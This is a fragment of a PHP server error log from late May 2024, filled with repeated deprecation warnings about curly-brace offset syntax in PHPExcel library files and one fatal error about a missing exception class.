/home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [27-May-2024 00:05:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [27-May-2024 01:41:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [27-May-2024 01:41:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [27-May-2024 01:41:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [27-May-2024 01:41:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [27-May-2024 01:41:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [27-May-2024 01:41:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [27-May-2024 04:10:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [27-May-2024 04:10:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [27-May-2024 04:10:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [27-May-2024 04:10:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [27-May-2024 04:10:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [27-May-2024 04:10:05 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [27-May-2024 05:40:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [27-May-2024 05:40:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [27-May-2024 05:40:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [27-May-2024 05:40:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [27-May-2024 05:40:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [27-May-2024 05:40:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:05:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:05:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:05:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:05:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:05:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:05:11 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 771 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 812 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 815 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 818 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Engineering.php on line 821 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:05:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:05:21 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php on line 28 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 162 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 184 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 185 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 194 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 204 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 205 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 212 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 222 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 225 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 233 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 244 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 246 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 247 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 257 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 268 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 279 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 286 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 299 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 318 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 340 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 361 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 368 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 388 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 393 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 399 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 404 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 410 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 426 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 447 [28-May-2024 08:05:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 463 [28-May-2024 08:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 321 [28-May-2024 08:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 324 [28-May-2024 08:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 562 [28-May-2024 08:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 612 [28-May-2024 08:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:05:25 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:05:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:05:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:05:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:05:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:05:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:05:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:05:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:05:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:05:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:05:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:05:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:05:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:05:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:05:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:05:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:05:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:05:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:05:28 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 44 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [28-May-2024 08:05:29 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:49:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:49:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:49:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:49:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:49:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:49:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:49:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:49:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:49:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:49:50 UTC] PHP Deprecated: Array and string offset access syntax with curly 